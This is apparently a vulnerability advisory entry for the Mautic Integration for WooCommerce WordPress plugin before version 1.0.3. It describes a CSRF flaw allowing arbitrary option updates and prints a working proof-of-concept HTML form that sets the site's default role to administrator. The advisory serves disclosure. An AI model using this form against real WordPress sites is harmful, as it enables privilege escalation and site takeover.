Mautic Integration For WooCommerce < 1.0.3 - Arbitrary Options Update via CSRF

2022-12-1900:00:00

wpvulndb

mautic integration

woocommerce

arbitrary options update

cross-site request forgery

html form

administrator privilege escalation

0.001 Low

EPSS

Percentile

32.1%

JSON

The plugin does not have proper CSRF check when updating settings, and does not ensure that the options to be updated belong to the plugin, allowing attackers to make a logged in admin change arbitrary blog options via a CSRF attack. The attack could also be performed via a LFI if one is present in another plugin present on the blog.

Make a logged in user with the manage_woocommerce capability open a page containing the HTML code below

<form action="https://example.com/wp-admin/admin.php?page=mautic-integration-for-woocommerce&mauwoo_tab=mautic_integration_for_woocommerce_connect" method="POST">
    <input type="text" name="mauwoo_activate_connect" value="1">
    <input type="text" name="default_role" value="administrator">
    <input type="submit" name="submit" value="submit">
</form>

0.001 Low

EPSS

Percentile

32.1%

JSON

Related for WPEX-ID:7D3D6B9C-D1C1-4E23-B891-7C72E4E89C38